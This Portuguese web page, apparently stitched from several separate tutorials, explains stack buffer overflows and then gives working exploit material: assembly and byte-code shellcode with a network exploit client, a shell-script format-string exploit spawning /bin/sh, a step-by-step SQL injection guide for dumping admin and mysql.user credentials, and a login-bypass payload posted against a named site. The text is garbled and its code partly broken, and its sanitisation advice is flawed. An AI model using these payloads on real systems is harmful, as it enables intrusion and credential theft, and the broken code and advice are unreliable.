como funciona um exploit,funcionamento de um exploit,o que um exploit,tutorial exploit

I

Nos dias actuais são indiscutíveis os grandes benefícios obtidos por meio da interligação dos computadores em uma única e grande rede acessível a partir de qualquer ponto do globo.
A Internet, essa grande teia que une milhões de computadores em torno do mundo, é uma conquista irreversível que admite um único futuro: uma contínua e freqüente expansão.
Entretanto, com o advento dessa incrível interconexão de máquinas em escala mundial, muitos ainda são os problemas que precisam ser resolvidos para que os usuários obtenham uma razoável segurança na utilização dos serviços disponibilizados na grande rede. Cada novo serviço ou funcionalidade implementada pelos fabricantes de softwares utilizados nas redes de computadores encontra, frequentemente, uma imediata resposta de hackers e crackers. Esses “usuários” utilizam seus conhecimentos avançados de programação de computadores para explorar falhas existentes nos códigos desenvolvidos para essas novas funcionalidades. Esse é um problema do qual ninguém está totalmente livre. Conforme (FIREWALLS SECURITY CORPORATION) , até mesmo programas famosos e considerados seguros já foram lançados no mercado com esse tipo de vulnerabilidade.
Essas investidas contra fraquezas nos sistemas operacionais e aplicativos são apoiadas por ferramentas conhecidas como exploits. O resultado desses ataques pode ser simplesmente uma momentânea indisponibilidade do serviço (DOS – Denial Of Service) ou, na pior situação, a abertura de um acesso privilegiado no computador hospedeiro do serviço que sofreu o ataque. A partir desse acesso obtido, poderão ser provocados prejuízos imprevisíveis dentro da rede atacada.
Este trabalho procura descrever como funcionam e quais os resultados do ataque desses exploits. O objectivo do trabalho é dar subsídios aos administradores de rede e desenvolvedores de aplicativos na difícil tarefa de tentar evitar ou, pelo menos, responder o mais rápido possível a ataques desse tipo.

O que são exploits

O termo exploit, que em português significa, literalmente, explorar, na linguagem da Internet é usado comummente para se referir a pequenos códigos de programas desenvolvidos especialmente para explorar falhas introduzidas em aplicativos por erros involuntários de programação.
Esses exploits, que podem ser preparados para atacar um sistema local ou remotamente, variam muito quanto à sua forma e poder de ataque. Pelo fato de serem peças de código especialmente preparadas para explorar falhas muito específicas, geralmente há um diferente exploit para cada tipo de aplicativo, para cada tipo de falha ou para cada tipo de sistema operacional.

Como funcionam os exploits

Os exploits quase sempre se aproveitam de uma falha conhecida como buffer overflow (estouro de buffer).
O buffer overflow acontece quando um programa grava informação em uma certa variável, passando, porém, uma quantidade maior de dados do que estava previsto pelo programa. Essa situação possibilita que um código arbitrário seja executado, necessitando apenas que este seja devidamente
posicionado dentro da área de memória do processo.
No codigo abaixo pode ser visto um simples exemplo de um programa vulnerável a um ataque de buffer overflow. O problema está na segunda linha da função ProcessaParm, que não critica o tamanho do parâmetro recebido na variável arg.
void ProcessaParm(char *arg);
void main(int argc, char *argv[]){
if (argc > 1){
printf(”Param: %sn”,argv[1]);
ProcessaParm(argv[1]);
}
}
void ProcessaParm(char *arg){
char buffer[10];
strcpy(buffer,arg); /* PROBLEMA: se a string contida em arg
tiver mais que 10 carateres havera
um “buffer overflow” */
printf(buffer);
}
Codigo 1: Programa vulnerável a buffer overflow
O buffer overflow, quando ocorre de forma aleatória, normalmente causa um crash na aplicação. No Linux, essa situação gera a conhecida segmentation fault com core dump. Porém, quando correctamente induzido pelo atacante, o buffer overflow pode permitir que se execute um código malicioso que terá os
mesmos privilégios de execução do aplicativo atacado.
Embora o problema do buffer overflow seja conhecido há muito tempo, somente nos últimos anos ele passou a ser amplamente explorado como ferramenta de ataque.
Para entender completamente como o buffer overflow é explorado para se obter acessos indevidos ao sistema, é necessário em primeiro lugar compreender como os processos são organizados em memória. Cada arquitectura de hardware, sistema operacional ou compilador pode organizar de forma diferente um processo em memória. Na figura 1 é possível ver um diagrama que representa essa organização para um programa escrito na linguagem C em um sistema Linux/i386.
1
Figura 1: Organização dos processos em memória…
A área de programa armazena o código executável. Na área de variáveis globais são alocadas todas as variáveis globais e estáticas; enquanto que a área de heap é reservada para alocação local e dinâmica de memória. Finalmente, a área de pilha é usada para salvar registradores, salvar o endereço de retorno de subrotinas, criar variáveis locais bem como para passar parâmetros na chamada de funções.
Como pode ser observado na figura 1, os ponteiros da pilha e do heap crescem em sentidos opostos, convergindo para o centro da área livre que é comum às duas estruturas de memória. Esse artifício é usado para otimizar o uso da memória livre na área de dados do processo. Entretanto, como será visto ainda nesta seção, essa característica possibilita que os ataques sejam feitos tanto pela pilha quanto pelo heap.
Na figura 1 é possível ver os elementos envolvidos no processo de chamada de uma função.
Normalmente, quando uma função é chamada, os seguintes passos são executados:
1) Os parâmetros da função são colocados da pilha em ordem inversa.
2) Quando a instrução call é executa, o endereço de retorno é armazenado para permitir o retorno da função à instrução imediatamente seguinte àquela que a chamou.
3) Já dentro da função, o conteúdo do registrador EBP, que é usado como apontador do stack frame, é colocado da pilha para ser recuperado no final da função.
4) Registrador EBP é carregado com o valor atual do ponteiro de pilha (SP).
5) O ponteiro da pilha é decrementado em N bytes, onde N é a quantidade de bytes necessários para a criação das variáveis locais.
2
Figura 2: Uso da pilha na chamada de uma função…
Devido a essa sua característica, a pilha é o “calcanhar de aquiles” de toda essa estrutura. Com muita paciência, persistência e algum conhecimento de assembly e C, é possível alterar o valor do endereço de retorno do programa e redirecioná-lo para um código malicioso.
A partir desse momento, o ponteiro de instruções do processo passa a ser inteiramente controlado pelo atacante, que poderá fazer qualquer chamada a funções disponíveis no sistema.
A alteração do endereço de retorno pode ser feita tanto pelo “estouro” de uma variável local alocada na pilha quanto pelo “estouro” da área de heap. Da mesma forma, o código malicioso, para onde o programa será desviado, pode ser colocado tanto no heap quanto na pilha. Nas figuras 3 e 4 pode ser vista uma representação da memória durante um ataque de pilha e de heap, respectivamente.
3
4
Como pode ser visto na figura 4, os exploits baseados no heap são mais difíceis de se construir devido à dificuldade de se determinar com precisão o tamanho da área entre o heap e a pilha.
Recentemente, os sistemas operacionais têm implementado mecanismos de bloqueio de execução de códigos na área de pilha e de heap. Essa medida tem por objetivo evitar esses ataques. Porém, para contornar essa dificuldade, uma outra variante do ataque foi desenvolvida. Essa nova tática, conhecida como “retorno à libc”, descrita em (MCDONALD,1999), consiste em desviar o programa para uma função da libc (system(), por exemplo), portanto dentro da área de código, onde não há qualquer restrição de execução
de programas.
A criação de novas técnicas de ataque é apenas uma questão de tempo. Por exemplo, uma técnica mais recente que o buffer overflow, e muito mais complexa do que esta, é a exploração do Format String Bug, detalhada com muita precisão em (THUEMMEL,2001).
Na seção 4 será apresentado, passo a passo, um exemplo de um exploit baseado no estouro da pilha.
Essa variante de exploit foi escolhida para ser analisada aqui por ser, dentre as técnicas de explorações de buffer overflow, a de menor dificuldade de implementação e a que mais tem sido usada ultimamente.

Um exemplo de exploit baseado no buffer overflow de pilha

Em um ataque de estouro da pilha, normalmente o atacante terá que responder as seguintes questões antes de poder construir o exploit propriamente dito:
Qual o tamanho do buffer?: em softwares livres isso é facilmente conseguido pelo fato dos fontes do programas serem de domínio público. Aqui não há demérito algum para o software livre uma vez que, fazendo um paralelo com a criptografia, conforme (UCHOA,2003), a segurança baseada na obscuridade é
restrita e deve ser evitada.
O que vai ser executado dentro do código malicioso?: para responder a essa pergunta o atacante deve conhecer uma linguagem de baixo nível, preferencialmente C, que será utilizada para construir o exploit. Além disso, é necessário que se conheça também um pouco de Assembly e do programa de
depuração gdb. A premissa utilizada aqui é fazer um programa tão poderoso que faça todo o trabalho necessário e tão pequeno que caiba dentro da área de buffer.
Normalmente, a seqüência é: criar o programa em C, compilá-lo, abri-lo com o gdb, “anotar” os códigos binários das instruções referentes ao trecho necessário. Esses códigos anotados do gdb serão guardados em uma variável do exploit, que os utilizará na construção da mensagem que será enviada ao servidor.
Como “estourar” o buffer do servidor?: aqui, principalmente, é onde entra a especificidade de cada exploit. Novamente o atacante se utiliza do conhecimento dos fontes dos programas para conhecer todos os fatos necessários ao ataque. Não fosse o conhecimento dos fontes, isso ainda seria possível pelo menos de duas formas diferentes: ou através de engenharia reversa, utilizando-se de uma ferramenta de depuração (gdb, por exemplo), ou através da tentativa e erro, enviando grandes strings em qualquer parte do
programa em que há entrada de dados por parte do usuário.
O código 2 mostra um trecho do programa que será alvo do ataque. Trata-se aqui de um programa muito simples que tem por finalidade apenas servir aos propósitos didáticos deste trabalho. O programa implementa apenas duas funções: a função main(), que é responsável por “ouvir” a porta UDP 1234 e a função TrataMensagem(), que é chamada a cada mensagem recebida pelo servidor.
O programa cliente será o exploit, que preparará uma mensagem de forma tal que provoque o buffer overflow no servidor. Esse ataque abrirá, no servidor, um backdoor que será usado em seguida pelo atacante para continuar seu “trabalho”.
Procurando responder a segunda questão colocada no início desta seção, foi desenvolvido o código apresentado no codigo 3. Neste trabalho, a única ação do atacante será criar o arquivo /bin/sx. Outros comandos poderiam ser acrescentados ao código para efetuar outras ações, como, por exemplo, incluir um usuário no arquivo /etc/passwd. Para criar o arquivo /bin/sx foi usada a system call sys_creat, através da instrução int 0×80. Após criar o arquivo, o exploit simplesmente encerra a execução do servidor.
listen(Sock, 1);
while(1){
Tam = sizeof(struct sockaddr_in);
if((Novo=accept(Sock, (struct sockaddr *)&Cliente,&Tam))==1) exit(1);
memset(Mens,0,strlen(Mens));
if(read(Novo,Mens,sizeof(Mens)) < 0) exit(2);
TrataMensagem(Mens);
close(Novo);
}
void TrataMensagem(char *Mens){
char Buffer[256];
strcpy(Buffer,Mens); /* VULNERABILIDADE: caso Mens seja maior que 256, haverá o estouro*/
.
.
.
}
Código 2: Trecho do programa servidor alvo do ataque
void main() {
__asm__("
jmp INICIO
FUNCAO:
pop %esi
xor %eax,%eax
movb %eax,7(%esi)
mov %esi,%ebx
movb $0x8,%al
mov $0xfffff1ff,%ecx
int $0x80
movb $1,%al
xorl %ebx,%ebx
int $0x80
INICIO:
CALL FUNCAO
.string "/bin/sx "
");
}
Código 3: Código malicioso em assembly
No código 3 pode ser visto o código Assembly para esse pequeno programa. Para compilar o
programa, foi usado o comando: gcc -g -o prog prog.c -ldb.
unsigned char cod[]={
0xeb,0×1f,
0×90,0×90,0×90,0×90,
0×5e,
0×31,0xc0,
0×88,0×46,0×07,
0×89,0xf3,
0xb0,0×08,
0xb9,0xff,0xf1,0xff,0xff,
0xcd,0×80,
0xb0,0×01,
0×31,0xdb,
0xcd,0×80,
0×90,0×90,0×90,0×90,
0xe8,0xe0,0xff,0xff,0xff,0};
Código 4: Versão em byte code do código malicioso
O atacante deve conhecer previamente o endereço da área de memória onde está o comando que será executado. Outro endereço a ser descoberto em tempo de execução é o da string que contém o nome do arquivo a ser criado. Aqui, foi utilizada a técnica descrita em (ARANHA,2003), que consiste em iniciar o programa com um salto para uma instrução imediatamente anterior ao endereço que se quer conhecer. Em seguida o programa deve ser desviado para o restante do código através da execução da intrução call. Dessa forma, o endereço da string é armazenado na pilha, podendo, assim, ser lido pelo restante do código malicioso.
Usando o gdb, o código malicioso deve ser exportado em formato hexadecimal. Nesse caso pode ser usado o comando do gdb: x/bx . A saída hexadecimal do código pode ser vista no codigo 4.
O codigo 5 mostra a parte do código do exploit responsável por montar o buffer e enviá-lo para o servidor. Como pode ser visto, o código do exploit em si é muito simples. Na verdade, a grande dificuldade reside nos passos anteriores, onde devem ser identificados os endereços de dados e de funções que serão usados pelo código malicioso quando este estiver executando no servidor alvo.
#include
#define TAM_BUFFER 256
unsigned char cod[]={
0xeb,0×1f,
0×90,0×90,0×90,0×90,
0×5e,
0×31,0xc0,
0×88,0×46,0×07,
0×89,0xf3,
0xb0,0×08,
0xb9,0xff,0xf1,0xff,0xff,
0xcd,0×80,
0xb0,0×01,
0×31,0xdb,
0xcd,0×80,
0×90,0×90,0×90,0×90,
0xe8,0xe0,0xff,0xff,0xff,0};
char comando[]=”/bin/sx “;
main(int argc, char **argv)
{
unsigned char Buffer[TAM_BUFFER+9];
long end;
end=0xbffff71c;
memset(Buffer,’A',TAM_BUFFER);
strcpy(Buffer,cod);
strcat(Buffer,comando);
Buffer[strlen(Buffer)]=’A';
*(long *)&Buffer[TAM_BUFFER] = 0xcacacaca;
*(long *)&Buffer[TAM_BUFFER+4] = end;
Buffer[TAM_BUFFER+8] = 0;
.
.
.
if(connect(Sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) exit(1);
write(Sock, Buffer, TAM_BYFFER+20);
}
Código 5: Primeira parte do exploit

Conclusão

As técnicas aqui mostradas, e muitas outras, estão disponíveis em diversos sites da Internet, mostrando a dialética aí envolvida, onde a própria Internet traz em si os elementos capazes de destruí-la, mas que ao mesmo tempo, são a fonte de seu desenvolvimento. Enquanto os atacantes se utilizam de falhas deixadas ao longo do desenvolvimento da Internet, as equipes de desenvolvimento e segurança se utilizam das técnicas empregadas pelo atacantes – geralmente técnicas avançadas de programação – para produzir seus
antídotos, bem como novas funcionalidades.
Como ações de proteção contra esses ataques, recomenda-se a atualização constante do sistema, aplicando-se os patches necessários, ou mesmo promovendo os devidos upgrades de versão.
Para os programadores, a recomendação não poderia ser outra: atenção! Muita atenção! O menor descuido pode ser a oportunidade que o atacante precisa. Deve-se, sempre que possível, evitar funções que podem causar buffer overflow, tais como strcpy, que deve ser substituída por sua equivalente strncpy.
Ao usar funções passíveis de exploração pela técnica Format String Bug, tais como printf, evitar aplicar a essas funções os valores fornecidos diretamente pelo usuário do programa. Se possível, substituir a libc por versões seguras de biblioteca padrão, tais como a libmib (http://www.mibsoftware.com/libmib/astring/)
ou libsafe (http://www.research.avayalabs.com/project/libsafe/).
Afinal, ninguém pode dizer que está livre de ser atacado, porém esse fato não deve ser desculpa para que não se procure, por todos os meios possíveis, impor aos atacantes, senão uma missão impossível, pelo menos uma tarefa extremamente árdua.
E —-[ Escrevendo o exploit em shell script ]—- Agora segue o código do exploit para o segundo programa vulnerável a forma string escrito em shell script: ==========[ fs_xpl.sh ]========== #!/bin/sh ########################################################## # Exploit para programa vulneravel a format string       # ########################################################## # O novo endereco de retonro que apontará para os nops export NEW_RET=`printf “xb0xf8xffxbf”` # Shellcode execve -> /bin/sh export SHELLCODE=`printf “xebx1fx5ex89x76x08x31xc0x88x46″x07x89x46x0cxb0″ “x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31″xdbx89xd8″ “x40xcdx80xe8xdcxffxffxff/bin/sh”` # Aqui temos 150 NOPs(chataum conta isso) export NOP=`printf “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″` # Agora executamos o programa vulnerável com o argumento maligno ./fs_vuln “%28c$NEW_RET” =================================     Vamos aos textes: — — — — — — — — — — newbie@localhost:~$ chmod +x fs_xpl.sh newbie@localhost:~$ ./fs_xpl.sh Você digitou:                            x°øÿ¿ sh-2.05b$ — — — — — — — — — —     Como podemos perceber, não existe segredo algum amigo. Agora é só questão de pratica!                        —-[ CONCLUINDO ]—- Bem amigo, é possível fazer qualquer coisa se correr atraz. Digo mais uma vez que saber fuçar com shell script não é questão de luxuria mais sim uma necessidade pois o verdadeiro fuçador não constroi coisas pra facilitar, mais trabalha com o que tem em mãos! Existem inumeros metodos a mais de exploitação, talvez até algum que seja mais fácil do que em C ou outra linguagem pois com shell script você interage diretamente com os programas e talz, principalmente falhas em fucões que manipulam arquivos como as que criam arquivos temporários e essas coisas! Bastando apenas saber armazenar a resposta de um comando, filtrar, passar o resultado para outro comando e por ai vai! Veja como é possível explorar qualquer programa por linha de comando: ==========[ xtra_vuln.c ]========== #include <stdio.h> int main() {     char nome[20];     printf(“Qual é o seu nome: “);       gets(nome);     printf(“Olá %s!!nn”, nome); } ===================================     Agora veja como podemos explora-lo: — — — — — — — — — — newbie@localhost:~$ gcc xtra_vuln.c -o xtra_vuln newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!! Falha de segmentação (core dumped) newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core ….. Program terminated with signal 11, Segmentation fault. #0  0×40004443 in ?? () (gdb) q newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!! Falha de segmentação (core dumped) newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core ….. Program terminated with signal 11, Segmentation fault. #0  0×44434241 in ?? () — — — — — — — — — —     já sabemos agora aonde que sobrescreveremos o endereço de retorno! Agora basta fazer o exploit usando o seguinte esquema: — —— — — — — — — — newbie@localhost:~$ echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD > `perl -e ‘print “x78x56x34x12″‘` > buffer.bof newbie@localhost:~$ ./xtra_vuln < buffer.bof Qual é o seu nome: Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCDxV4!! Falha de segmentação (core dumped) newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core …. Program terminated with signal 11, Segmentation fault. #0  0×12345678 in ?? () (gdb) — — — — — — — — — —  —-[ Fontes ]—-     0ut0fBound            .::. http://0ut0fbound.ath.cx     Security Focus        .::. http://www.securityfocus.com.br     Google                .::. http://www.google.com.br
C
riei este tutorial a fim de demonstrar uma das melhores formas de invasão e uma das mais usadas hoje em dia. Ate porque os programadores de hoje em dia não estão si importando com a segurança do site e suas áreas restritas.
OBS: não vou explicar aqui detalhadamente sobre os códigos sql, pois quem deseja fazer ataques sqlinjection com certeza precisa ter conhecimento sobre banco de dados.
O que é Sql Injection?
É uma vulnerabilidade existente nos dias de hoje, que si usa de uma manipulação em  códigos sql. Esta vulnerabilidade permite ao atacante executar consultas ao banco de dados inserindo querys (comandos Sql) na url do site ou ate mesmo em campos de text. obtendo, assim, informações confidenciais como logins e senhas, dentre outros.
Hoje em dia são usadas muitas técnicas para explorar um banco de dados de um site servidor… Citarei algumas das técnicas.
1 – Sql Injection
A) Verificar a si existe uma Vulnerabilidade sem programa.
Vou citar um exemplo básico, para si saber si existe uma vulnerabilidade. Suponhamos que existe um site chamado “ALVO”, e esse site contem dados enviados por variáveis URL.
Código:
http://www.alvo.com/news.php?id=5
No caso acima, o nome do site é www.alvo.com, Toda vez que você ver no link de um site o sinal de interrogação seguido de alguma palavra,letra,silaba recebendo algum valor, isso quer diser que existe um dado sendo enviado de uma pagina para outra. Exemplo: ?id=5.
Isso significa que neste caso, a pagina news.php estará recebendo o.
Concerteza na pagina, chamada news.php terá um código, parecido com esse:
$id       =$_post[‘id’];
E obviamente terá um código sql, parecido com esse.
Query_rs        = “select *  from noticias where código=’$id’”
Isso significa que a pagina news.php esta selecionando a noticia em que o codigo da noticia seja igual ao codigo da URL, que seria a variavel $id.
Agora, vamos a parte para identificarmos se o site é vulnerável, colocaremos ao final da url uma aspa simples ( ‘ ). Abaixo é mostrado a forma como a url ficará.
Código:
http://www.alvo.com/news.php?id=5′
Caso o site retorne um erro igualmente ou semelhante ao apresentado a seguir. O site é vulnerável a Sql Injection
Erro:
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the…
O erro acima diz que a sintase da consulta sql esta incorreta. e pede para você checar o manual correspondente ao SGBD que você está utilizando. “Até parece que você é o administrador do site”
Agora que checamos o erro no site e sabemos que este é vulnerável a injeção de Sql na url. Agora Iremos aprender a explorar esta vulnerabilidade. Com alguns macetes:
B) – Localizar a Quantidade/Número de Colunas/Tabelas do banco de dados.
Utilizaremos uma forma bastante simples para descobrir a quantidade de colunas existentes na tabela. Para encontrar a quantidade de Colunas/Tabelas é utilizado o comando ORDER BY, esse comando é colocado no fim da sintase sql, significa ordenar em formas descendente, ascendente dentre outras a suas consulta.
Mas como utilizar este comando Sql?
Ao final da url você adiciona o comando order by e vai adicionando uma sequência de Colunas, ou seja, você pode acionar a coluna correspondente. Caso queira olhar a coluna 1, ordene assim:
Código:
http://www.alvo.com/news.php?id=5 order by 1
Se não aparecer nenhum erro é por que esta Coluna número 1 existe. Para localizar a quantidade de colunas basta ir tentando ordenar todas as colunas de 1 a infinito.  Lembre-se que esta vulnerabilidade necessitamos trabalhar em cima dos erros, então o ideal é você ir acrescentado valor até que o site retorne um erro dizendo que a Coluna é inexistente no banco de dados.
Código:
http://www.alvo.com/news.php?id=5 order by 1/* <– Sem erro
http://www.alvo.com/news.php?id=5 order by 1,2/* <– Sem erro
http://www.alvo.com/news.php?id=5 order by 1,2,3/* <– Sem erro
http://www.site.com/news.php?id=5 order by 1,2,3,4 <– Com erro
O exemplo acima, é atribuido Colunas (1..2..3..4), no entanto, é mencionado erro na Coluna 4. Conclui-se então que esta Coluna é inexistente e que o banco possui apenas 3 Colunas.
C) – Utilizando a função UNION.
Esta função poderosa é responsável por unir vários dados localizados em Colunas de Tabelas diferentes. “Essa é muito boa”
Vamos utilizar o exemplo abaixo para melhor exemplificar.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,2,3
Explicando a Sql:
O exemplo acima vai possibilitar ao “Injectador” visualizar todas as informações contidas nas Colunas/Tabelas 1, 2 e 3 do banco.
Código:
…?id … union all select 1,2,3
Faça a união de todas as informações contidas das Colunas/Tabelas 1, 2 e 3 do site: http://www.alvo.com/news.php. Está e a ordem que você atribui ao comando colocado na url do site.
D) – Descobrindo a versão do SGBD (MySql).
Código:
http://www.alvo.com/news.php?id=5 union all select 1,2,3
Observe acima que na url o comando Sql pede para visualizar as três Colunas/Tabelas existentes no banco. Agora para visualizar a versão do banco é necessário que façamos uma substituição. Retirar a Coluna/Tabela 2 pelo comando @@version.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,@@version,3
Caso não der certo, você receberá uma mensagem de erro semelhante a esta:
Citação:
“union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
Para resolver este erro vamos utilizar a função convert(). Exemplo abaixo:
Código:
http://www.alvo.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/
Ou então as funções hex() e unhex();
Código:
http://www.alvo.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/
Com os procedimentos acima, você irá conseguir achar a versão do SGBD MySql.
E) – Obtendo o nome da Coluna/Tabela.
Agora que temos a versão, iremos ao passo seguinte. Descobrir o nome das Colunas/Tabelas:
Geralmente os DBA’s (Administradores de Banco de Dados) utilizam nomes comuns como padronização para suas Colunas/Tabelas como:
Citação:
user, usuario, admin, member, membro, password, passwd, pwd, user_name
Lógico que isto depende bastante de DBA’s e qual tipo de padronização ele estiver utilizando.
Na consulta abaixo o “Injectador” bicuda, isto mesmo ele utiliza a técnica de tentativo-erro, para tentar acertar o nome da Coluna/Tabela.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,2,3 from admin
Observe que acima a query diz: “Mostre-me os valores das Colunas/Tabelas 1, 2 e 3 do usuário admin”.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin
Caso apareça erro, vá mudando o nome da coluna… afinal é a técnica da tentativa e erro.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin/
Acima, observe que a consulta começa a ficar refinada: “Mostre-me os valores Coluna/Tabelas 1, o nome do usuário e 3 do usuário admin”. Ou seja, suponha que o DBA tenha criado um banco onde as ele separou a Tabela admin, como o exemplo. No entanto, este admin possui inumeras informações (campos) como: nome do admin (username), password, endereco, idade.. etc.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,username, password from admin
Caso a consulta der certo, na tela aparecerá o nome do usuário e a senha. Esta senha aparecerá na tela tanto como texto ou criptografada, em md5 hash.. etc. Vai depender muito da base de dados onde foi desenvolvido o banco.
Para ficar com um boa aparência e organizada as informações na tela. É utilizado a função concat().
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Dependendo do campo, fica a seu critério inserir em hexadecimal (0x3a) ou utilizando o padrão Ascii (char(58)).
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
Na tela já aparecerá os valores com o nome do usuário administrador e a senha. Faça orações para que não aparece em hash md5 senão vai ser outra guerra..
Dica: Quando está difícil para achar o nome da Coluna/Tabela, sempre é bom utilizar mysql.user, pois é muito utilizado como default e como padrão. Exemplo abaixo.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
F) – MySql 5.
Devido algumas diferenças atribuídas a versão 5 do MySql. É mostrado aqui uma técnica para obter o nome das Colunas/Tabelas.
Nesta nova versão, é acrescentada um arquivo chamado information_schema, onde possui informações sobre todas as Colunas/Tabelas do banco. É este arquivo que será o nosso alvo.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
Na consulta acima substituimos o campo 2 por table_name para obter a primeira tabela de information_schema.
Agora para que a consulta seja rápida é necessário acrescentar um limite para as linhas.
Observer abaixo que é colocado como limite 0, 1.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
OBS: você deve ir acrescentando os valores dos limites: 1, 2; 3,4. Vai depender de você, pois vamos supor que o alvo principal é a Coluna/Tabela admin_password e está está na posição 43, então você deveria acrescentar uma por uma até achar… 1, 2; …, …; 42, 43.
Espero que tenham entendido esta parte.
Para obter o nome das colunas, também é utilizado a mesma lógica. Só que agora no arquivo information_schema.columns.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
Agora vamos a uma consulta mais específica. Caso você queira que apareça informações mais específica como o nome dos usuário pode-se fazer a consulta abaixo:
Código:
http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/
Com esta consulta é visualizado o nome das colunas.. agora é só utilizar os limites para visualizar os nomes de usuários.
Caso os valores estejam em colunas diferentes (lugares) vamos concatenar utilizando o concat().
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
Ferramenta de auxílio
SQL Injection 1.2 + Firefox.
https://addons.mozilla.org/pt-BR/firefox/addon/6727
Para dá apoio/auxílio na injeção dos códigos da SQL Injection, aqui é mostrado um complemento do Firefox que pode ajudá-lo bastante nesta tarefa.
O SQL Injection 1.2 que é uma complemento que nos ajuda a inserir códigos tanto em Post quanto em Get. Além de você pode memorizar todas as entradas que você adquirir, sem a necessidade de utilizar o Crtl + c e Crtl + v.
Abaixo as ilustrações mostram a facilidade de uso da ferramenta.
Acima simplesmente pedimos para mostrar o usuário, a senha e o email.
Isto é um exemplo de Sql Injection Avançado. Não é uma técnica tão simples, necessita-se de prática e conhecimento em Sql.
Para quem sabe manejar bem o sql, concerteza que com este simples tutorial, aprenderá coisas a mais do que estou ensinando. Aprenderá que para fazer um sql injection basta injetar um código em outro código.
Espero que todos tenham entendido pelo menos a essência da coisa.
0
A imagem 01 mostra o ícone no campo inferior do Browser. Para darmos início a execução do complemento é necessário dar um clique em cima do ícone (cadeado).
1
A imagem 02 mostra o complemento em si. Observe que não tem muito mistério, um campo para a escolha da String/Query e dois botões de escolha.
2
A imagem 3 mostra que o complemento já vem com algumas Strings, as Query’s que aparecem eu mesmo adicionei.
Mas como funciona?
3
A imagem 04 mostra que o SQL Injection 1.2 já fez a limitação dos campos que podem vir a receber os Strings, que na ilustração acima correspondem a Usuário, Senha, Entrar.
Para inserir é necessário que você clique em cima de qualquer um dos 3 campos do site.
juancarloscunha
A imagem 05 aparece logo após você clicar no campo desejado. Então você pode fazer a escolha de fazer a injeção por POST ou por GET.


Na imagem 06 você agora deve escolher em qual campo será inserido a String. Para isto você deve optar em clicar em um dos dois botões:
O botão Injection Code possibilita inserir a String apenas no input que você clicou anteriormente.
O botão Injection in all possibilita que a String seja inserida em todos os campos do site.
Observe que eu clique no botão Injection in all.
Pronto, logo após para iniciar a injeção basta clicar no tão Submit this form.
_____________________________________________________________________
Existem também a possibilidade de você criar e salvar as suas próprias Strings/Querys.
Para isto, basta você clicar na ícone do SQL Injection 1.2, mostrado na ilustração 01, e adicionar conforme mostrado na figura acima.
Esta ferramenta ajuda muito aqueles que são fanáticos em sql injection, assim como me ajuda muito.
Este programa é simples e pratico.

Explorando falha de sql injection basica

Eae galera,
voltei a postar e estou mandando aqui um post explorando um falha de sql injection basica.
http://www.hojetecnologia.com.br/worktable/

Codigo de exploração sql injection: admin’ or usuario like ‘%a%
Para os leigos um tutorial abaixo:
Imagine que o codigo sql de validacao para logar no sistema seja
SELECT usuario, senha FROM usuarios WHERE usuario=’$usuario’ and senha=’$senha’

A falha sql injection acontece quando o programador nao trata as variaveis digitadas pelo usuario.
Uma das melhores formas de tratar é:
$usuario  =str_replace(“‘”, “”,$_POST['usuario']);
$usuario  =str_replace(“%”, “”,$_POST['usuario']);
$usuario  =str_replace(“+”, “”,$_POST['usuario']);
$usuario  =str_replace(“(“, “”,$_POST['usuario']);
$usuario  =str_replace(“‘-”, “”,$_POST['usuario']);
$usuario  =str_replace(“#”, “”,$_POST['usuario']);
O quanto mais os caracteres especiais voce bloquear, melhor é para a seguranca da sua area restrita.

Existem inumeras formas de explorar falhas de sql injection. A que eu usei foi a seguinte
admin’ or usuario like ‘%a%
Explicaçao:
A validacao que tem é:
SELECT usuario, senha FROM usuarios WHERE usuario=’$usuario’ and senha=’$senha’
